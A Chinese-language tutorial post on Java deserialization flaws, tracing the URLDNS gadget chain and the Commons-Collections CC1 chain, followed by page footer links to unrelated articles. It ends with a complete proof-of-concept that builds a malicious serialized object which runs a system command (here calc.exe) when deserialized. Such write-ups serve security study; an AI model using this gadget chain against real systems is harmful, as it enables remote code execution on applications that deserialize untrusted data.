JAVA序列化與反序列化URLDNS鏈CC1鏈

1、序列化的實現

java序列化的是對象屬性的,只有實現了Serializable或者Externalizable接口的類的對象才能被序列化為字節序列。(不是則會拋出異常),靜態成員變量是屬于類的,所以靜態成員變量是不能被序列化的,被transient 標識的對象成員變量不參與序列化。

2、重寫readObject方法的原因

java.lang.Object
└── java.io.InputStream
└── java.io.ObjectInputStream
重寫(Override)是指子類定義了一個與其父類中具有相同名稱、參數列表和返回類型的方法,并且子類方法的實現覆蓋了父類方法的實現。重寫好處在于可以根據父類已有的方法選擇性去的重寫,比如父類有a,b,c,readobject()這四個方法,但是你只希望使用readObject()方法進行重寫,你就可以只重寫readObject()方法。

3、Java反序列化漏洞條件

共同條件繼承Serializable
入口類:因為反序列化一定會調用readObject()方法,所以可以把readObject()當做反序列化的入口,所以我們要找一個類作為入口類,這個類必須繼承Serializable,然后重寫readObject,重寫的這個readObject最好調用常見的函數,參數類型寬泛(Object 類最寬泛,接口類例如HashMap隨便存放各種參數),最好是JDK自帶的類(這里是因為要對方的服務器上也存在這個類才可以)
調用鏈:gadget chain 相同名稱,相同類型
執行類:(rce ssrf寫文件等)最重要

URLDNS鏈分析

思路:URL這個類有解析DNS的的方法,通過調用類中的hashCode里的getHostAddress(u);方法可以直接解析dns,若想通過構造惡意類來攻擊目標服務器實現DNS解析,可以考慮此方法。但是反序列化一定會調用的是readObjet()方法,也就是上面提到的readObject()當做反序列化的入口,所以我們要找一個類作為入口類,這個類必須繼承Serializable,然后重寫readObject。這里如果你想到用URL類下自帶的readObject方法,這個入口選擇是錯誤的,如下圖所示。在這里插入圖片描述
從圖中我們可以看出,URL類中的readObject并無可以進一步利用的函數“常見的函數,參數類型寬泛(Object 類最寬泛,接口類,例如HashMap隨便存放各種參數)”因此我們就想找其他類作為入口,中間如果有相同名稱,相同類型可以構造調用鏈來解決。去找新的入口類調用hashCode方法,發現HashMap類下有有一個hash函數調用了hashCode,并且右鍵hash查找用法發現了readObject,構造鏈已經確定。HashMap——>readObject()——>hash()——>hashcode()

在這里插入圖片描述

POC

一開始是這樣寫的如下圖如
在這里插入圖片描述
debug發現,序列化的時候就會解析DNS,原因是因為URL里的hashCode會默認hashCode=-1,導致進去hashCode去解析DNS。在這里插入圖片描述
但是在反序列化的時候我們給URL之前默認給的值是1,這樣URL下的hashCode方法就不會去執行調用handler.hashCode去解析DNS,導致我們構造的惡意類無用。因此考慮在調用hhandler.hashCode之前把hashCode改為1,然后再反序列化之前再把hashCode改為-1。

CC1鏈分析

首先找到Transform這個接口類看他的實現方法有哪些
在這里插入圖片描述在InvokerTransformer類調用的transform方法發現此方法的類,參數類型,值都是可控的類似于后門,可以創建實現任意類,這里我們把他當做sink
在這里插入圖片描述
進一步查找有無通過readObject方法調用transform方法的,找不到,因此找中間方法,找到了TransformedMap類下的checksetvalue方法調用了transform在這里插入圖片描述
valueTransformer.transform(value);這里簡單分析一下,當valueTransformer=InvokerTransformer
value=Runtime.class,便可實現命令執行。
這里通過valueTransformer構造方法傳參
在這里插入圖片描述

繼續去找調用了checkSetValue方法的類,在這個AbstractInputCheckedMapDecorator抽象類下的靜態類MapEntry調用了setValue
在這里插入圖片描述
在這里插入圖片描述

這里我們可以發現
MapEntry extends AbstractMapEntryDecorator
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue
在這里插入圖片描述在這里插入圖片描述
Map.Entry還是接口類

知識點:接口類必須被實現,抽象類的方法只能由子類實現

所以調用MapEntry類中的setValu方法其實調用的是MapEntry下的setValue()
然后再次去尋找那個類下的readObject()方法調用了setValue()方法,在AnnotationInvocationHandler下發現了readObject方法并且調用了setValue()
在這里插入圖片描述
下圖是根據以上調用鏈條寫的POC
在這里插入圖片描述

這里進入調用setValue()首先要滿足兩個if條件
在這里插入圖片描述
這是
在調試代碼的時候發現我們傳入的memberTypes為空
通過此行代碼可以發現
Class<?> memberType = memberTypes.get(name);
他是從傳入的mmberType通過get方法查找有無對應的參數
在這里插入圖片描述
下圖我們可以看到Override類里并沒有方法調用所以我們這里考慮換一個有調用方法的類
在這里插入圖片描述

在這里插入圖片描述
這個地方把key改成value
在這里插入圖片描述

調試代碼顯示memberType已經不為空了
在這里插入圖片描述
然后在想如何繞過第二個if
這里就要利用到了Transformer接口實現的另一個類ConstantTransformer,它實現了transform方法無論輸入對象是什么,他都會返回參數構造中的固定值
在這里插入圖片描述

但是你會發現,你不僅要調用創建InvokerTransformer,還要調用創建ConstantTransformer,如何解決這個問題呢,這時候利益用到了Transformer接口實現的另一個類ChainedTransformer他的transform方法是一個遞歸調用transfrom方法正合適可以拿來給我們使用
在這里插入圖片描述
調用setvalue方法你會發現傳入的參數是無效的參數,這時候就巧妙地用到了constantTransformer.transform() 方法,因為這個方法不管參數是什么,他最終都只會返回 iConstant 對象,我們把這個類里的 iConstant 賦值為 Runtime 對象,就可以使鏈條閉環
在這里插入圖片描述

同時這里還有一個問題,Runtime類沒有繼承Serializable,所以要通過反射來實現,這里想到InvokerTransformer的transform可以實現任意類因此通過此方法實現Runtime類來實現命令執行
在這里插入圖片描述

最后測試
在這里插入圖片描述
成功
完整POC

package com.example.fastjson122.demos.web;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class TestCC1 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//Runtime.getRuntime().exec("calc");Runtime r=Runtime.getRuntime();
//        Class c=Runtime.class;
//        Method execMethod=c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");Transformer[] transformer=new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);//Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object,Object> map=new HashMap<>();map.put("value","value");Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);//transformedmap.put(1,Runtime.getRuntime());
//        for(Map.Entry entry:transformedmap.entrySet()){
//            entry.setValue(r);
//        }Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annConstructor=c.getDeclaredConstructor(Class.class,Map.class);annConstructor.setAccessible(true);Object o=annConstructor.newInstance(Target.class,transformedmap);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));Object obj=ois.readObject();return obj;}}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/898372.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/898372.shtml
英文地址,請注明出處:http://en.pswp.cn/news/898372.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SAP-ABAP: 采購申請創建(PR)BAPI_PR_CREATE 技術指南-詳解

BAPI_PR_CREATE 技術指南 用途&#xff1a;通過 RFC 接口創建 SAP 采購申請&#xff08;PR&#xff09;&#xff0c;支持自動化集成與批量處理。 一、功能概覽 類別說明核心功能創建標準采購申請、預留轉采購申請&#xff0c;支持多行項目及賬戶分配。集成場景與 MRP 系統、外…

Android7 Input(一)Android Input服務初始化

本系列博客主要描述Android 7.1系統中輸入管理服務InputManagerService的源碼分析。 概述 本文主要描述了InputManagerService服務的初始化和啟動&#xff0c;在Android7系統上InputManagerService服務的框架如下所示: 注&#xff1a;箭頭的方向&#xff0c;并不能真實代表數…

用于 RGB-D 顯著目標檢測的點感知交互和 CNN 誘導的細化網絡(問題)

摘要 問題一&#xff1a;但在對自模態和跨模態的全局長距離依賴關系進行建模方面仍顯不足。什么意思&#xff1f; 自模態&#xff08;Intra-modal&#xff09;全局依賴&#xff1a;在同一模態內&#xff0c;長距離像素之間的信息交互對于理解全局背景很重要&#xff0c;但 CN…

html5基于Canvas的經典打磚塊游戲開發實踐

基于Canvas的經典打磚塊游戲開發實踐 這里寫目錄標題 基于Canvas的經典打磚塊游戲開發實踐項目介紹技術棧核心功能實現1. 游戲初始化2. 游戲對象設計3. 碰撞檢測系統4. 動畫系統5. 用戶界面設計 性能優化1. 渲染優化2. 內存管理 項目亮點技術難點突破項目總結 項目介紹 在這個…

MySQL外鍵約束下的索引刪除難題:從報錯到完美解決的實戰指南

&#x1f6a8; MySQL外鍵約束下的索引刪除難題&#xff1a;從報錯到完美解決的實戰指南 &#x1f525; 問題背景&#xff1a;一個看似簡單的刪除操作引發的連環坑 場景復現&#xff1a;某日接到需求&#xff0c;需刪除 invite_codes 表中的冗余索引 FKnqn27fyjlgio5y60eieohi0…

使用 request 的 axios 狀態碼分析

request.interceptors.response.use(function(response){},function(error){})后端返回結果code400不經過response,直接跳到error。 當后端返回狀態碼為 400 時直接進入 error 回調而不經過 response 回調&#xff0c;這是因為 axios 默認會將狀態碼不在 200 - 299 范圍內的響…

Rust嵌入式開發環境搭建指南(基于Stm32+Vscode)

Rust嵌入式開發環境搭建指南(基于Stm32+Vscode) 部分目錄如下所示: 目錄 簡介Rust開發環境安裝STM32開發工具鏈安裝VSCode環境配置VSCode插件安裝調試器配置項目創建與配置常見問題與解決方案簡介 本文檔旨在指導開發者如何搭建基于Rust語言的STM32嵌入式開發環境。相比傳…

動態規劃合集——動態規劃基本原理

動態規劃合集——動態規劃基本原理 動態規劃原理1258&#xff1a;【例9.2】數字金字塔 動態規劃原理深度優先搜索記憶化搜索動態規劃&#xff08;順推&#xff09;動態規劃原理題解分析 滾動數組優化動態規劃&#xff08;逆推&#xff09; 動態規劃原理 從數塔問題出發理解動態…

如何讓節卡機器人精準對點?

如何讓節卡機器人精準對點&#xff1f; JAKA Zu 軟件主界面主要由功能欄、開關欄、菜單欄構成。 菜單欄&#xff1a;控制柜管理&#xff0c;機器人管理與軟件管理組成。主要功能為對控制柜關機、APP 設置、機器人本體設 置、控制柜設置、連接機器人和機器人顯示等功能。 開關…

自動化測試工具-Playwright介紹和快速實例

Playwright 是什么 Playwright 是由 Microsoft 開發的開源自動化測試工具,專為現代 Web 應用設計。它支持 Chromium、Firefox 和 WebKit 內核的瀏覽器,能夠跨平臺(Windows、macOS、Linux)運行,提供強大的瀏覽器自動化能力,適用于測試、爬蟲和監控等場景。 Playwright的…

軟考程序員考試知識點匯總

軟考程序員考試&#xff08;初級資格&#xff09;主要考察計算機基礎理論、編程能力及軟件開發相關知識。以下是核心知識點總結及備考建議&#xff1a; 一、計算機基礎 數制與編碼 二進制、八進制、十進制、十六進制轉換原碼、反碼、補碼表示&#xff08;整數與浮點數&#xf…

實時視頻分析的破局之道:藍耘 MaaS 如何與海螺 AI 視頻實現高效協同

一、藍耘 MaaS 平臺&#xff1a;AI 模型全生命周期管理的智能引擎 藍耘 MaaS&#xff08;Model-as-a-Service&#xff09;平臺是由藍耘科技推出的 AI 模型全生命周期管理平臺&#xff0c;專注于為企業和開發者提供從模型訓練、推理到部署的一站式解決方案。依托云原生架構、高…

設計模式(行為型)-策略模式

目錄 定義 類圖 角色 角色詳解 Strategy&#xff08;抽象策略類&#xff09;? Context&#xff08;環境類 / 上下文類&#xff09;? ConcreteStrategy&#xff08;具體策略類&#xff09;? 優缺點 優點? 缺點? 使用場景 類行為差異場景? 動態算法選…

【算法day14】三數之和

三數之和 https://leetcode.cn/problems/3sum/description/ 給你一個整數數組 nums &#xff0c;判斷是否存在三元組 [nums[i], nums[j], nums[k]] 滿足 i ! j、i ! k 且 j ! k &#xff0c;同時還滿足 nums[i] nums[j] nums[k] 0 。請你返回所有和為 0 且不重復的三元組。…

優化器/模型參數/超參數

參數&#xff08;Parameters&#xff09; vs. 超參數&#xff08;Hyperparameters&#xff09; 1.1 參數&#xff08;Parameters&#xff09; 定義&#xff1a;模型中需要學習的變量&#xff0c;例如神經網絡中的權重&#xff08;Weight&#xff09;和偏置&#xff08;Bias&a…

10、STL中的unordered_map使用方法

一、了解 1、unordered_map(哈希) unordered_map是借用哈希表實現的關聯容器。 訪問鍵值對O&#xff08;1&#xff09;&#xff0c;最壞情況O&#xff08;n&#xff09;&#xff0c;例如哈希沖突嚴重時。【n是一個哈希桶的元素數量】 unordered_map特性 鍵值對存儲&#xff…

C++ 頭文件說明

如果一個程序足夠大&#xff0c;代碼功能很多&#xff0c;可以想象&#xff0c;不可能把代碼寫在一個cpp文件里。我們需要模塊化&#xff0c;這樣的好處很多&#xff0c;方便分工合作&#xff0c;可讀性提高&#xff0c;調用也方便。 這個要怎么做呢&#xff1f; 很簡單直接當…

Lambda 表達式的語法:

在 Java 中&#xff0c;Lambda 表達式&#xff08;也稱為匿名方法&#xff09;是一種簡潔的表示方法接口&#xff08;Functional Interface&#xff09;實現的方式。它是 Java 8 引入的特性&#xff0c;目的是提高代碼的簡潔性和可讀性。 Lambda 表達式的語法&#xff1a; La…

C#零基礎入門篇(18. 文件操作指南)

## 一、文件操作基礎 在C#中&#xff0c;文件操作主要通過System.IO命名空間中的類來實現&#xff0c;例如File、FileStream、FileInfo等。 ## 二、常用文件操作方法 ### &#xff08;一&#xff09;文件讀取 1. **使用File.ReadAllText方法讀取文件內容為字符串** …

每日一題--內存池

內存池&#xff08;Memory Pool&#xff09;是一種高效的內存管理技術&#xff0c;通過預先分配并自主管理內存塊&#xff0c;減少頻繁申請/釋放內存的系統開銷&#xff0c;提升程序性能。它是高性能編程&#xff08;如游戲引擎、數據庫、網絡服務器&#xff09;中的核心優化手…